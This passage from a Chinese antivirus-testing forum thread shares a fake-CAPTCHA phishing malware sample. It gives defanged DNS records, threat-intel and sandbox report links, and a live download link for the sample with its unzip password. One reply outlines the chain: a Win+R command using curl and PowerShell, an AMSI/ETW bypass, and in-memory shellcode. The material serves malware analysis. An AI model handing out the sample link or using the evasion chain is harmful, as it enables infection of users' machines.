  23.       "nsname": "ns1[.]parklogic[.]com",
  24.       "refresh": 86400,
  25.       "retry": 7200,
  26.       "serial": 1
  27.     },
  28.     {
  29.       "type": "NS",
  30.       "name": "www[.]lanzous[.]com",
  31.       "ttl": 300,
  32.       "value": "ns1[.]parklogic[.]com"
  33.     },
  34.     {
  35.       "type": "NS",
  36.       "name": "www[.]lanzous[.]com",
  37.       "ttl": 300,
  38.       "value": "ns2[.]parklogic[.]com"
  39.     },
  40.     {
  41.       "type": "A",
  42.       "name": "www[.]lanzous[.]com",
  43.       "ttl": 300,
  44.       "address": "162[.]4[.]84[.]215"
  45.     },
  46.     {
  47.       "type": "MX",
  48.       "name": "www[.]lanzous[.]com",
  49.       "ttl": 300,
  50.       "exchange": "mx156[.]hostedmxserver[.]com",
  51.       "priority": 10
  52.     },
  53.     {
  54.       "type": "TXT",
  55.       "name": "www[.]lanzous[.]com",
  56.       "ttl": 300,
  57.       "value": "v=spf1 -all"
  58.     }
  59.   ]
  60. }
复制代码
  1. {
  2.   "tool": "dns",
  3.   "query": "superdudesjr[.]com",
  4.   "queryType": "ALL",
  5.   "server": "85[.]209[.]129[.]23",
  6.   "serverHost": "ns1[.]eternitynames[.]net",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "497f89ce-ed01-4e59-91b8-1bd9c0a348ec",
  13.   "timestamp": "2026-10-31T17:58:07.844Z",
  14.   "elapsed": 1453,
  15.   "results": null
  16. }
复制代码

外壳入口
https://s.threatbook.com/report/url/048f654b01f17e8a2228c1588135538b

网页嵌套
https://s.threatbook.com/report/url/55ecc0d14529fe1326802328eac3d8c7

多级路由
https://s.threatbook.com/report/url/b51d87a44280639369ae63e64752e239

人机钓鱼
由于随机路由的关系,无法转储本次实际地址

恶意载荷
https://s.threatbook.com/report/url/27abbe7446cb71d9484fcb31ebef8919

站群之一
https://s.threatbook.com/report/url/fbe76866fc3ebdedfe53e37dd3cbbcee

加密载荷
https://s.threatbook.com/report/url/29d3ac9c1b21b0be704a91ec61712e87

初始样本
https://ata.360.net/report/883310033684480
https://virusscan.jotti.org/zh-CN/filescanjob/pps1smhghz
https://tix.qq.com/search/single?keyword=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://intelix.sophos.com/report/1e61a6c33d834434b32ac1262a2bd953/dynamic/file
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGSjE6imTITNisAbXbG
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3NzMxZHNmYXNkZmFzZGY=/
https://sandbox.dbappsecurity.com.cn/report/d159d837-c1e5-45a6-a7be-80472bbc3151/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65

https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://metadefender.com/results/file/bzI2MTAzMVNFdXJjbjNYWnNKalRRTmN2NWhT_mdaas/overview
https://www.virscan.org/report/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://www.virustotal.com/gui/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://s.threatbook.com/report/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=d3e9769e769fbbefbcf0b5680d9769e2&sk=86851537
https://opentip.kaspersky.com/6DC9C426E10A8970F408A380F1C482AF35F1A7E5A0258F5659C90AA3F8A30685/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/ZWZlZWQ4YTRkMGVkN2VlOWI5ODU5NWFhOWY1ZjBmNjU=?system_type=win10_64&sandboxType=c

样本情况
https://ata.360.net/report/883330158430208
https://virusscan.jotti.org/zh-CN/filescanjob/fjiq4u19do
https://tix.qq.com/search/single?keyword=2c7ea70d4b95c471cf355bf5d37a67f3
https://intelix.sophos.com/report/0815f8ee5c774b8cbbbf4386cb0f7655/dynamic/file
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3OTY5ZHNmYXNkZmFzZGY=/
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGS1nrJmTITNisAbXbo
https://sandbox.dbappsecurity.com.cn/report/2066936d-5d91-420c-b972-957e456c777e/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://metadefender.com/results/file/bzI2MTAzMVBoQlgyRWNZeElhbjBQQnFzdllp_mdaas/overview
https://www.virscan.org/report/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://www.virustotal.com/gui/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://s.threatbook.com/report/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=558dd0e9021f3893bb19414b18a3f95d&sk=68130197
https://opentip.kaspersky.com/0832DF167733C833D871FCBC10A58F82DD757504153105B60B18013AEFC441F0/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/MmM3ZWE3MGQ0Yjk1YzQ3MWNmMzU1YmY1ZDM3YTY3ZjM=?system_type=win10_64&sandboxType=c

样本(自解诱导)
提取码:无,解压码:infected
  1. http://4275.com/fcw3of?unzip=infected
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
woaimou
发表于 3 小时前 | 显示全部楼层
WD仅扫描miss
猥琐大叔
发表于 3 小时前 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Hackm
发表于 3 小时前 | 显示全部楼层
这种样本WD仅扫描miss一点也不意外。这本质上是典型的“假人机验证”钓鱼,诱导小白按 Win+R 去跑命令。利用 curl 加 powershell 下载混淆脚本,然后直接干 AMSI/ETW,最后解密从网络下载的 Shellcode 在内存里跑(VirtualAlloc + CreateThread)。

全程没有完整的恶意EXE落地,全是系统白名单工具(LOLBins)在干活,静态特征扫描很难发现。
潜龙在渊1022
发表于 3 小时前 | 显示全部楼层
卡巴斯基扫描,没有发现威胁。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
jxfaiu
发表于 2 小时前 | 显示全部楼层
沙盒内双击



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
西瓜视频运气
发表于 1 小时前 | 显示全部楼层
ESSP

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Myrenaser
发表于 半小时前 | 显示全部楼层
MD双击可杀

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
scottxzt
发表于 半小时前 | 显示全部楼层
MD 改版了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-11-1 13:58 , Processed in 0.044343 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表